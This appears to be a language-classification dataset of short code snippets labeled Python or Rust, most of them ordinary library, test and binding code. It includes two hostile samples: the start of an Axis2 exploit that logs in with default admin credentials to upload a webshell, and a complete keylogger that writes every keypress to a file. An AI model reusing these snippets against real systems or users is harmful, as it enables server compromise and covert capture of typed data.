text
string
label_name
string
labels
int64
# -*- coding: utf-8 -*- ''' Home made test. Save and restore methods verification.''' from __future__ import print_function __author__= "Luis C. Pérez Tato (LCPT)" __copyright__= "Copyright 2014, LCPT" __license__= "GPL" __version__= "3.0" __email__= "l.pereztato@gmail.com" import xc from model import predefined_spa...
Python
1
{ Stone::Empty => { if self.star_point(x, y) { row.push('•'); // U+2022 BULLET } else { row.push(Stone::Empty.char()); } } stone =>...
Rust
0
# (C) Crown Copyright, Met Office. All rights reserved. # # This file is part of 'IMPROVER' and is released under the BSD 3-Clause license. # See LICENSE in the root of the repository for full licensing details. """Test for the threshold interpolation CLI.""" import pytest from . import acceptance as acc pytestmark ...
Python
1
self.sum / self.count } } let stats = frame_times.iter().fold(Stats::new(), |acc, &x| { let secs = x.as_secs_f64(); Stats { min: acc.min.min(secs), max: acc.max.max(secs), sum: acc.sum + secs, ...
Rust
0
= 0, Ok = 1, NonCritical = 2, Critical = 3, Unknown = 255, } impl<'a> TryFrom<&'a str> for HealthState { type Error = SfaClassError; fn try_from(s: &str) -> Result<Self, Self::Error> { match s { "0" => Ok(HealthState::None), "1" => Ok(HealthState::Ok), ...
Rust
0
cc7}', // \u{2cc6} -> ⳇ '\u{2cc7}', '\u{2cc9}', // \u{2cc8} -> ⳉ '\u{2cc9}', '\u{2ccb}', // \u{2cca} -> ⳋ '\u{2ccb}', '\u{2ccd}', // \u{2ccc} -> ⳍ '\u{2ccd}', '\u{2ccf}', // \u{2cce} -> ⳏ '\u{2ccf}', '\u{2cd1}', // \u{2cd0} -> ⳑ '\u{2cd1}', '\u{2cd3}', // \u{2cd2} -> ⳓ '\u{2cd3}', '\u{2cd5}', // \u{2cd4} ...
Rust
0
"""TripItem paid_by Revision ID: 23320f01d8ce Revises: 16bffb744f33 Create Date: 2025-10-04 16:22:33.968337 """ import sqlalchemy as sa import sqlmodel.sql.sqltypes from alembic import op # revision identifiers, used by Alembic. revision = "23320f01d8ce" down_revision = "16bffb744f33" branch_labels = None depends_o...
Python
1
import pathlib import random import string import time import re import requests from PIL import Image from stem import Signal from stem.control import Controller import _io from .default import Config from .log import * def error_log(target="", default=None, raise_err=False): def decorator(func): def w...
Python
1
def multiply(a, b): """Complete the function that takes two integers and returns the product of their unit digits. Assume the input is always valid. Examples: multiply(148, 412) should return 16. multiply(19, 28) should return 72. multiply(2020, 1851) should return 0. multiply(14,-15) s...
Python
1
import requests import time import sys import re # グローバル変数 # Axis2 管理者の認証情報 username = 'admin' password = 'axis2' uploadFile = "webshell.aar" # aarファイルをいじったときは変更 # axis2_webshell/META-INF/services.xmlのservice_nameを書き込む service_name = 'service' def exploit(target_url): # ログイン処理===============================...
Python
1
Path to the folder to download the data to.") .short('p') .long("path") .takes_value(true) ]).get_matches(); // Handle the output path let download_path = Path::new(args.value_of("downloadPath").unwrap_or("./")); if !download_path.is_dir() { e...
Rust
0
uts, padding) return inputs def _get_conv_indices(self, feature_map_size): """the x, y coordinates in the window when a filter sliding on the feature map :param feature_map_size: :return: y, x with shape [1, out_h, out_w, filter_h * filter_w] """ feat_h, feat_w = [i...
Python
1
VMX_REASON_APIC_ACCESS: u64 = 44; pub const VMX_REASON_VIRTUALIZED_EOI: u64 = 45; pub const VMX_REASON_GDTR_IDTR: u64 = 46; pub const VMX_REASON_LDTR_TR: u64 = 47; pub const VMX_REASON_EPT_VIOLATION: u64 = 48; pub const VMX_REASON_EPT_MISCONFIG: u64 = 49; pub const VMX_REASON_EPT_INVEPT: u64 = 50; pub const VMX_REASON...
Rust
0
# Copyright 2009-2011 Ram Rachum. # This program is distributed under the LGPL2.1 license. ''' This module defines the `HasIdentity` class. See its documentation for more information. ''' from garlicsim.general_misc import caching from garlicsim.general_misc.persistent import CrossProcessPersistent class HasIdenti...
Python
1
point[1] * frequency, point[2] * frequency, ]; PERLIN_NOISE.get(point) } /* internal utils */ pub(crate) fn device_to_screen(screen: &Screen, x: f64, y: f64) -> (f64, f64) { ( map(x, 0.0, screen.width() as f64, -1.0, 1.0), -map(y, 0.0, screen.height() as f64, -1.0, 1.0), ...
Rust
0
( x, y + colour_offset, size, size, i32::from(piece.colour), 0.0, 0.0, 0.0, 0.0, ) } fn stash_piece_texture_spec(piece: &Piece) -> TextureSpec { let (x, y) = match piece.pips { Pips::One => (320.0 / T_S, 792.0 / T_S), ...
Rust
0
new(ShaderProgramHandle::from(sp)); shader.uniforms.insert( String::from("model_mat"), ShaderUniformHandle::from(sp_model_mat_loc) ); shader.uniforms.insert( String::from("view_mat"), ShaderUniformHandle::from(sp_view_mat_loc) ); shader.uniforms.insert( String::from("proj_mat...
Rust
0
nfig(cls, config: BaseConfigLoader, **kwargs) -> 'BigQuery': """ Initializes BigQuery client from configuration loader Args: config (BaseConfigLoader): Configuration loader object """ if ConfigKey.GOOGLE_SERVICE_ACC_KEY in config: kwargs['credentials_mapp...
Python
1
import numpy as np # def group_items(tot_pop, tot_pop_num, num_groups): # # 对物品按照流行度从高到低排序 # sorted_indices = np.argsort(tot_pop)[:5] # sorted_tot_pop = np.array(tot_pop)[sorted_indices] # # # 计算每组的目标流行度之和 # target_group_pop = tot_pop_num / num_groups # # # 初始化变量 # item_groups = [0]*10 # ...
Python
1
# -*- coding: utf-8 -*- # Part of Fothz. See LICENSE file for full copyright and licensing details. from odoo import fields, models class Lead(models.Model): _inherit = 'crm.lead' reveal_ip = fields.Char(string='IP Address') reveal_iap_credits = fields.Integer(string='IAP Credits') reveal_rule_id = ...
Python
1
pub fn pending(self) -> &'a mut W { self.variant(FIFO_DATA_PENDING_A::PENDING) } } #[doc = "Field `RXA_CNT` reader - TP FIFO Available Sample Word Count"] pub type RXA_CNT_R = crate::FieldReader<u8, u8>; #[doc = "TP Idle Flag\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum TP_IDL...
Rust
0
evc_deblock_cu_hor( tracer, &*pic.borrow(), x as usize, y as usize + MAX_TR_SIZE, cuw as usize, cuh as usize >> 1, map_scu, &*map_refi.borrow(),...
Rust
0
, normal: *const f32, collision_id: c_longlong, user_data: *const c_void, intersect: f32) -> f32 { let mut udata = mem::tra...
Rust
0
}}) ), FormField( id="contact_id", name="Contact ID", description="Please type in the path to ID of the contact that you want to add " ...
Python
1
::IoUring; use once_cell::unsync::Lazy; use parking_lot::Mutex; use slab::Slab; mod accept; pub mod address; pub mod buffers; mod read_write; mod splice; mod uring_wrapper; pub use accept::{AcceptFuture, AcceptPrepared, ListenerExt}; pub use address::SocketAddress; pub use buffers::{Buffer, BufferMut}; pub use read_w...
Rust
0
u64, 100u64], [2u64, 0u64]), butterfly_2: ([50u64, 50u64, 1u64, 100u64], [0u64, 0u64]), butterfly_3: ([1u64, 1u64, 50u64, 100u64], [51u64, 51u64]), } inverse_butterfly_tests! { inverse_butterfly_0: ([0u64, 1u64, 0u64, 100u64], [1u64, 0u64]), inverse_butterfly_1: ([1u64, 1u64, 1u64, 100u64], [2u64, ...
Rust
0
import pandas as pd def Smoothed_Simple_Moving_Average(data: pd.Series, period: int = 9, adjust: bool = True) -> pd.Series: """ Calculates the Smoothed Simple Moving Average (SSMA) of a given data series. SSMA is a form of exponential smoothing which gives more weight to recent data points but does not...
Python
1
import os import pickle import time if os.environ.get("PYOPENGL_PLATFORM") is None: os.environ["PYOPENGL_PLATFORM"] = "egl" import pyrender import numpy as np import trimesh import base64 import io from PIL import Image import pyrender.light from graspmolmo.datagen.datagen_utils import Annotation result = Image...
Python
1
from pathlib import Path APP_NAME = "Gym Manager Pro" DB_PATH = Path(__file__).parent / "data" / "gym_database.db" # UX defaults CURRENCY = "$" THEME = "darkly" # ttkbootstrap theme (flatly/litera/darkly/minty etc.) RECENT_CHECKINS_LIMIT = 20
Python
1
import pytest from pipelex.hub import get_pipe_provider from pipelex.pipe_works.pipe_dry import DryRunStatus, dry_run_pipes from pipelex.pipelex import Pipelex # We use gha_disabled here because those tests are called directly and explicitly by the tests-check.yml file before the rest of the tests. @pytest.mark.gha_...
Python
1
false, true, true, true, true], [true, false, true, false, true, true, true, true], [true, false, false, false, true, true, true, true], [true, true, true, true, true, true, true, true], [true, true, false, true...
Rust
0
last image from last 20 messages on the channel async fn flip(ctx: &Context, msg: &Message, mut args: Args) -> CommandResult { let depth = crate::read_config().await.image_search_depth; let buf = match get_last_image_buf(&ctx, &msg, depth).await { Some(b) => b, None => { msg.channel...
Rust
0
for (base, value) in chars.iter() { if let Some(result) = i.checked_mul(*base as u32) { i = result; if let Some(result) = i.checked_add(*value) { i = result; } else { ...
Rust
0
"""The command for hard removing a slack task.""" from jupiter.core.domain.concept.push_integrations.slack.service.remove_service import ( SlackTaskRemoveService, ) from jupiter.core.domain.concept.push_integrations.slack.slack_task import SlackTask from jupiter.core.domain.features import WorkspaceFeature from ju...
Python
1
to downloaded images. #----------------------------------------------------------------------- # def ocr_pdf(pdf_path): # # Convert PDF to images # images = convert_from_path(pdf_path) # text = [] # # Apply OCR to each image # for i, img in enumerate(images): # text.append(pytesseract....
Python
1
new_inner_size: &mut new_inner_size } }); util::set_inner_size_physical(HWND(window_id.0.0), new_inner_size.width as _, new_inner_size.height as _, true); } }; } } <reponame>tillrohrmann/rust-challenges fn main() { let orbit_counter = aoc_2019_6::create_orbit_counter_from_file("input.txt")...
Rust
0
g16_0(&self) -> bool { *self == ADC14IFG16_A::ADC14IFG16_0 } #[doc = "Checks if the value of the field is `ADC14IFG16_1`"] #[inline(always)] pub fn is_adc14ifg16_1(&self) -> bool { *self == ADC14IFG16_A::ADC14IFG16_1 } } #[doc = "ADC14MEM17 interrupt flag\n\nValue on reset: 0"] #[der...
Rust
0
"""CoinmarketCap API wrapper.""" import requests BASE_URL = "https://pro-api.coinmarketcap.com/v2" ENDPOINT = "/cryptocurrency/ohlcv/historical" class CoinMarketCap: """CoinMarketCap v2 API wrapper""" def __init__(self, api_key: str): self.api_key = api_key def get_historical_data(self, symbol...
Python
1
dists[m] for m in mask] for i, pd_r_dists in enumerate(pd_r_dists_list): if len(pd_r_dists) > 0: pd_r_dists = pd_r_dists.mean(axis=0) if gt_r_label[i] != torch.argmax(pd_r_dists): r_sort = torch.argsort(pd_r_dists, descending=T...
Python
1
from django import forms from django.contrib.auth.forms import UserCreationForm,AuthenticationForm from django.contrib.auth.models import User class SignupForm(UserCreationForm): class Meta: model=User fields=('username','email','password1','password2') username=forms.CharField(widget=forms.T...
Python
1
# -*- coding: utf-8 -*- from hangulize import * class Ukrainian(Language): """For transcribing Ukrainian.""" __iso639__ = {1: 'uk', 2: 'ukr', 3: 'ukr'} __tmp__ = ',;' vowels = u'аеєиіїйоOуьюя' cs = u'бвгґджзклмнпрстфхцчшщ' vl = u'кпстфхцчшщ' notation = Notation([ ('-', '/'), ...
Python
1
_Punctuation an initial quotation mark Pf Final_Punctuation a final quotation mark Po Other_Punctuation a punctuation mark of other type Sm Math_Symbol a symbol of primarily mathematical use Sc Currency_Symbol a currency sign Sk Modifier_Symbol a non-letterlike modifier symb...
Rust
0
t", "devel") qisrc_action("init", git_server.manifest_url, "--branch", "devel") git_server.push_file("foo", "master.txt", "master") git_worktree = TestGitWorkTree() foo_proj = git_worktree.get_git_project("foo") git = TestGit(foo_proj.path) git.commit_file("devel.txt", "devel") git.fetch() ...
Python
1
import keyboard logFile='log.txt' def basildiginda(event): with open(logFile,'a') as f: if event.name == 'space': f.write(' ') elif event.name == 'enter': f.write('\n') else: f.write('{} '.format(event.name)) keyboard.on_press(basildiginda) keyboard.w...
Python
1
(), } } } impl<T: Clone + Debug> Leaf<String, T> { /// /// Makes `Cherry<T>` from `self.label`and `self.value`. /// /// # Examples /// ``` /// extern crate cherries; /// use cherries::node::{Leaf, Cherries}; /// /// let x = Leaf::new() /// .name("x") /// ...
Rust
0
# Mail Merge LETTER_TEMPLATE = "./Input/Letters/starting_letter.txt" INVITED_NAMES = "./Input/Names/invited_names.txt" OUTPUT_FOLDER = "./Output/ReadyToSend/" def load_template(text_file): """Takes a text file and returns its content as a STR.""" with open(text_file, mode="r") as file: letter_templat...
Python
1
from causal_discovery.utils import * # 导入自定义模块或类 from causal_discovery.causal_discovery_base1 import CausalDiscoveryBase class MNS: """Instantiates a Minimal Neighbor Separator (MNS). 最小邻居分隔集合 """ def __init__(self, is_valid, mns=None): self._is_valid = is_valid self._mns = mns def __st...
Python
1
contents = ['Ryan is so bad.', 'Ryan is pretty bad.', 'Ryan is super bad.'] file_name = ['file1.txt', 'file2.txt', 'file3.txt'] for content, filename in zip(contents, file_name): file = open(f"files/{filename}", 'w') file.write(content)
Python
1
es in that deployment. /*for db_name in client.list_database_names(None, None).await? { println!("db {}", db_name); }*/ println!("connect mongodb Ok(())"); Ok(client) } ////////////////////////////////////////////////////////////////// /// Error when trying to play an illegal move. #[derive(Debug)] pub struc...
Rust
0
// Our task should already be dead and the actor restarted if this // happens. if is_our_address_disconnected { return Ok(()); } } ...
Rust
0
x0, g, execution_time, dt = np.zeros(3), np.ones(3), 1.0, 0.001 beh = CartesianDMPBehavior(execution_time, dt, 20) beh.init(7, 7) beh.set_meta_parameters(["x0", "g"], [x0, g]) X_demo = make_minimum_jerk(x0, g, execution_time, dt)[0] X_rot = np.tile(zeroq[3:], (X_demo.shape[1], 1)).T X_dem...
Python
1
#[derive(Hash, Debug, Clone, Eq, PartialEq)] pub struct WDCountV2 { // BTreeMap to allow for Hashing, Option to allow for dist increment // FIXME is there a way to get rid of especially the Option? Use unsafe? // Obs, some features now rely on the BTreeMap being sorted. Needs to change if BTreeMap is repla...
Rust
0
zero(addr, size); } Ok(addr) } else { // assert!(result as usize <= 127, // "mmap with MAP_FIXED has unexpected behavior: demand zero mmap with MAP_FIXED on {:?} returned some other address {:?}", // start, result // ); Err(Error::from_raw_os_e...
Rust
0
s = [IpCidr::new(IpAddress::v4(169, 254, 0, 1), 16)]; let eth_phy = pal::ethernet::create_phy(); let mut iface = EthernetInterfaceBuilder::new(eth_phy) .ethernet_addr(pal::ethernet::get_ethernet_address()) .neighbor_cache(neighbor_cache) .ip_addrs(&mut ip_addrs[..]) .finalize(); ...
Rust
0
assert r.status_code == 201 assert response['id'] == obj_1.id r = u1_s2.post( reverse(LIST_URL), {'name': obj_1.name}, content_type='application/json' ) response = json.loads(r.content) assert r.status_code == 201 assert response['id'] != obj_1.id def test_delete(u1_s1...
Python
1
earch team through interactive reports ### **Toyota Autonomous Vehicles** - Monitors model performance across different weather conditions - Tracks data drift and model degradation in production - Enables rapid iteration on safety-critical systems ### **Startup ...
Python
1
# cook your dish here import math t=int(input()) for i in range(t): n,k,m=map(int,input().split()) s=k*m p=n/s a=math.ceil(p) st=math.ceil(a) print(st)
Python
1
, RawColliderSet, RawNarrowPhase}; use crate::math::RawVector; use crate::pipeline::RawEventQueue; use crate::rapier::pipeline::PhysicsPipeline; use wasm_bindgen::prelude::*; #[wasm_bindgen] pub struct RawPhysicsPipeline(pub(crate) PhysicsPipeline); #[wasm_bindgen] impl RawPhysicsPipeline { #[wasm_bindgen(constru...
Rust
0
= f"Gemini API 错误: {str(api_error)}" yield ModelEvent(EventType.ERROR, {"error": error_msg}) logger.error(f"Gemini API错误: {error_msg}") model_response_error = True # 如果发生错误,退出 if model_response_error: return ...
Python
1
perception_dot_proto_dot_perception__camera__pb2._CAMERAERRORCODE _PERCEPTIONLANES.fields_by_name['camera_calibrator'].message_type = modules_dot_perception_dot_proto_dot_perception__camera__pb2._CAMERACALIBRATOR _PERCEPTIONLANES.fields_by_name['camera_laneline'].message_type = modules_dot_perception_dot_proto_dot_perc...
Python
1
/// } /// } /// ``` #[macro_export] macro_rules! Q_REGISTER_SINGLETON_QML( ($wrapper:ident) => { register_qml_singleton_type($wrapper::get_shallow()); } ); //! Implementation of the Supervisor Binary Interface (SBI) specification for RISC-V. //! //! This ...
Rust
0
sult<EventListener, JsValue> { self.0 .add_listener(&EventName::string("error"), move |err| { listener(err); }) } } <gh_stars>0 use seed::{prelude::*, *}; use super::{solid_trait_private::SolidPrivate, Solid}; pub struct XCircle; impl SolidPrivate for XCircle { ...
Rust
0
AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ use std::future::Future; use std::task::Poll; use std::time::Duration; use async_std::{task, task::JoinHandle}; use futu...
Rust
0
_uri(), Uri::from_static("http://www.example.com/path?key=val%25ue&another=value") ); } #[test] fn uri_with_path_and_query() { let uri = Uri::from_static("http://www.example.com/path?original=here"); let mut query_writer = QueryWriter::new(&uri); query_writer.ins...
Rust
0
('builtins.print') @mock.patch('os.get_terminal_size') def test_print_side_by_side_uneven_lists( self, mock_get_terminal_size: mock.Mock, mock_print: mock.Mock, mock_print_divider: mock.Mock, ) -> None: mock_get_terminal_size.return_value = os.terminal_size((100, 100)) side_1 = [_T...
Python
1
unknown_fields()); self.cached_size.set(my_size); my_size } fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream) -> ::protobuf::ProtobufResult<()> { if let Some(v) = self.hash.as_ref() { try!(os.write_string(1, &v)); }; try!(os.write_u...
Rust
0
lutin::event_loop::EventLoop::new(); let context = glium::glutin::ContextBuilder::new() .with_vsync(true) .with_double_buffer(Some(true)) .with_depth_buffer(24) .with_multisampling(2); let window = glium::glutin::window::WindowBuilder::new() .w...
Rust
0
), "/egl_generated_bindings.rs")); #[cfg(feature = "racer-autocomplete-workaround")] pub use egl_generated_bindings::*; } #[cfg(feature = "extensions-module")] pub mod extensions { #[cfg(not(feature = "racer-autocomplete-workaround"))] include!(concat!(env!("OUT_DIR"), "/egl_generated_extension_bindi...
Rust
0
("%{}%", text.as_str()).as_str())) .limit(count as i64) .get_results(conn) .expect("Error search") } } <gh_stars>1-10 /** 8_1_vectors.rs * Common Collections * * <NAME> * April 2021 */ /** vectors allow storing a variable number values next to each other * string is ...
Rust
0
() > POLY1305_BLOCKSIZE { orion_ctx.update(b"").unwrap(); collected_data.extend_from_slice(b""); } if fuzzer_input.len() > POLY1305_BLOCKSIZE * 2 { orion_ctx.update(b"Extra").unwrap(); collected_data.extend_from_slice(b"Extra"); } if fuzzer_input.len() > POLY1305_BLOCKSIZ...
Rust
0
from cloud_ai_agent.ai_handler import AIHandler def lambda_handler(event, context): # Process the event using the AI Agent result = AIHandler.process(event) return { 'statusCode': 200, 'body': f'AI Agent Response: {result}' }
Python
1
import boto3 import argparse def main(): argparser = argparse.ArgumentParser(description='Testing ARN stuff') argparser.add_argument("--role", help="If running with a role provide it here", required=True) argparser.add_argument("--profile", help="Credential profile", required=True) argparser.add_argument('--region...
Python
1
ct = '''Error on line 10 col 9: [''' self.assertTrue(TestParser.test(input, expect, 296)) def test_297(self): input = ''' func nX (string Jhk, var jvN4) begin end ''' expect = '''Error on line 2 col 21: var''' self.assertTrue(TestParser.test(input, expect, 297)) def test_298(self): input = ''' ## /(N st...
Python
1
essed_judge) rescaled_score = (overall_score - 75) * 4 rescaled_score_dict[k] = rescaled_score if len(rescaled_score_dict) <= 0.95 * len(result): print('*' * 100) print( f'For your {filename} judge. Among {len(result)} judgements, successfully extracted {len(resc...
Python
1
import unittest from unittest.mock import patch from tools import request_human_input class TestRequestHumanInput(unittest.TestCase): @patch('builtins.input', return_value='test input') def test_request_human_input(self, mock_input): result = request_human_input.request_human_input.invoke({ "prompt": ...
Python
1
import os import numpy as np import pandas as pd from Counting_codons import CodonCounting path = '../DataCleaning/Res/res1/' #file_name = 'AIV_all_8_before2020_29634_pa' #res_name = 'before2020_29634_pa' #file_name = 'IAV_reassortant_1450to2500_new_4_indp_pa' #res_name = 'IAV_reassortant_indp_pa' # file_name = 'AIV...
Python
1
pub value_mask: u32, } #[repr(C)] #[derive(Debug, Copy, Clone)] pub struct xcb_get_keyboard_control_cookie_t { pub sequence: ::std::os::raw::c_uint, } #[repr(C)] #[derive(Debug, Copy, Clone)] pub struct xcb_get_keyboard_control_request_t { pub major_opcode: u8, pub pad0: u8, pub length: u16, } #[repr(C)...
Rust
0
from django.db import models class HealthBlock(models.Model): current_health_levels = models.CharField(default="", max_length=100, blank=True) max_health_levels = models.IntegerField(default=7) class Meta: abstract = True def get_health_levels(self): damage = list(self.current_health...
Python
1
import sys import cv2 as cv from glob import glob import os import numpy as np KERNEL_SIZE = 5 def main(args): texture_path = args[0] backup_path = os.path.join(texture_path, "undilated_textures") # Make the backup path if not os.path.exists(backup_path): os.mkdir(backup_path) # Move...
Python
1
auth_header) } /// Write line protocol data to the specified organization and bucket. pub async fn write_line_protocol( &self, org: &str, bucket: &str, body: impl Into<Body>, ) -> Result<(), RequestError> { let body = body.into(); let write_url = format!(...
Rust
0
on mgr.{mgr_id}") cls.mgr_cluster.set_module_localized_conf(module_name, mgr_id, config_name, str(assign_port), force=True) assign_po...
Python
1
from configparser import ConfigParser import sys import os try: environment = sys.argv[1].upper() #environment = 'PRD' except: environment = 'LOCAL' print("Environment=",environment) try: # if os.path.isfile('config/config.ini'): # print('True') # parser = ConfigParser() # parser.rea...
Python
1
LE_LIST_ENTRY32; #[inline] pub unsafe fn ListEntry32To64(l32: PLIST_ENTRY32, l64: PLIST_ENTRY64) { (*l64).Flink = (*l32).Flink as ULONGLONG; (*l64).Blink = (*l32).Blink as ULONGLONG; } #[inline] pub unsafe fn ListEntry64To32(l64: PLIST_ENTRY64, l32: PLIST_ENTRY32) { (*l32).Flink = (*l64).Flink as ULONG; ...
Rust
0
import json import time import uuid import boto3 import streamlit as st # bedrock-agentcoreのクライアント agent_core_client = boto3.client("bedrock-agentcore", region_name="us-west-2") # セッションID。33文字以上ないとエラーになる session_id = str(int(time.time())) + "_" + str(uuid.uuid4()).replace("-", "") st.title("Basic Chat") st.write("...
Python
1
where W: Write + ?Sized, { self.entry_mut().map(|entry| { entry.complete = false; }) } #[inline] fn end_object_key<W>(&mut self, _writer: &mut W) -> io::Result<()> where W: Write + ?Sized, { self.entry_mut().map(|entry| { entry.complete = true; }) } #[inline] f...
Rust
0
)), None, options.config.unwrap_or_default().minify.unwrap_or(false), ) }; complete_output(cx, result) }) } // Copyright 2021 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found i...
Rust
0
named_2 { pub __wseq: libc::c_ulonglong, pub __wseq32: C2RustUnnamed_3, } #[repr(C)] #[derive(Copy, Clone)] pub struct C2RustUnnamed_3 { pub __low: libc::c_uint, pub __high: libc::c_uint, } pub type pthread_t = libc::c_ulong; #[repr(C)] #[derive(Copy, Clone)] pub union pthread_mutexattr_t { pub __...
Rust
0
None, None, None, None, None, ) def triton_hstu_preprocess_and_attention( x: torch.Tensor, norm_weight: torch.Tensor, norm_bias: torch.Tensor, norm_eps: float, num_heads: int, attn_dim: int, hidden_dim: int, uvqk_weight: to...
Python
1
jvms-4.4.5): A CONSTANT_Long_info, minus the tag. Long(i64), /// [Java SE 7 &sect; 4.4.5](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4.5): A CONSTANT_Double_info, minus the tag. Double(f64), /// [Java SE 7 &sect; 4.4.6](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms...
Rust
0
import torch import torch.nn as nn from torch.autograd import Variable import cvtorchvision.cvtransforms as cvTransforms import torchvision.datasets as dset import numpy as np import os import argparse from Net.colorNet import myNet_ocr_color import cv2 from tqdm import tqdm import matplotlib.pyplot as plt train_loss_...
Python
1
e\xe8v\xba>\x98\xc7OO\x0fk3\ \x0b\x8dk_\xd2|)\xa9i\xf3\xa2Ac\xa7\x9b\xfb\ k\xcb\xcb=;M[\x04\xb2\xbe{\xad|\xea\x16b\ \xed\xad|\xe1-\xee\xa0\xc9\x0cw+w&\xee\xad>\ \xa7u\xe1\xbdcK\xf0\xbc:\xa5\x8d\xfc\xd7\xb6wz\ ~\xa3\xe1\xf9\x9dm\xe7\x86\xea\x11\xa3\xc3o\xa8jw\ 2\xd8\xbc\xd2X\xc1%\xd8\xd2,.l5+yo\ c\xb6\x8ahb1\xc1,\x9cp\x...
Python
1
calLayout.setStretch(0, 1) self.verticalLayout.setStretch(1, 2) self.verticalLayout.setStretch(2, 2) self.verticalLayout.setStretch(3, 2) self.verticalLayout.setStretch(5, 2) self.horizontalLayout_5.addLayout(self.verticalLayout) self.verticalLayout_2.addWidget(self.frame...
Python
1
# Licensed to the .NET Foundation under one or more agreements. # The .NET Foundation licenses this file to you under the Apache 2.0 License. # See the LICENSE file in the project root for more information. from iptest import IronPythonTestCase, run_test, skipUnlessIronPython class Enum34Test(IronPythonTestCase): ...
Python
1
#[test] fn test_non_plain_garbling() { let mut rng = StdRng::from_seed(SEED); let garbled_wires = GarblingWire::<GarbledBit, Wire8Bit>::new(&mut rng); let garbled_value = garbled_wires.clone().encode(6); let expect = vec![ garbled_wires.clone().bits[0].0 .0, ...
Rust
0
uard_HIVE_XP_Source = 733, Vehicle_Repair_Engi_Turret_HIVE_XP_Source = 734, Vehicle_Repair_Phalanx_HIVE_XP_Source = 735, Vehicle_Repair_Drop_Pod_HIVE_XP_Source = 736, Vehicle_Repair_Galaxy_HIVE_XP_Source = 737, Vehicle_Repair_Liberator_HIVE_XP_Source = 738, Vehicle_Repair_Lightning_HIVE_XP_Sourc...
Rust
0
e(&mut program, |mut iface, uni, mut rdr_gate| { iface.set(&uni.tex, bound_tex.binding()); rdr_gate.render(&render_st, |mut tess_gate| tess_gate.render(&tess)) }) }) .assume(); surface.context.window.swap_buf...
Rust
0
/// enum types because `Deserialize` implementations generated by /// `#[derive(Deserialize)]` call `Deserializer::deserialize_identifier()` /// to identify an enum variant. fn enum_variant_id(&self) -> Option<&'static str>; } impl<'a, T: Identifiable> Identifiable for &'a T { fn all_type_ids() -...
Rust
0
d_name("octane-test"); let mut runtime = builder.build().expect("Unable to build tokio runtime"); runtime.block_on(async { #rest }) } }; let token_stream: TokenStream = tokens.into(); token_stream } /// Alias for `concat!(env!("CARGO_MANIFEST_DIR"...
Rust
0
_NUMBER"]["FIELD"] or "" ) purpose_xpath = purpose_xpath.replace( "{1}", FORM_FIELDS["REGISTERED_NUMBER"]["DATA"] or "" ) purpose = driver.find_element(By.XPATH, purpose_xpath) purpose.click() driver.implicitly_wait(2) # ****************************...
Python
1
AL_WIDTH / 2.0; const PITCH_BOUNDS_X: (f32, f32) = (HALF_LEVEL_W - HALF_PITCH_W, HALF_LEVEL_W + HALF_PITCH_W); const PITCH_BOUNDS_Y: (f32, f32) = (HALF_LEVEL_H - HALF_PITCH_H, HALF_LEVEL_H + HALF_PITCH_H); const GOAL_BOUNDS_X: (f32, f32) = (HALF_LEVEL_W - HALF_GOAL_W, HALF_LEVEL_W + HALF_GOAL_W); const GOAL_BOUNDS_Y:...
Rust
0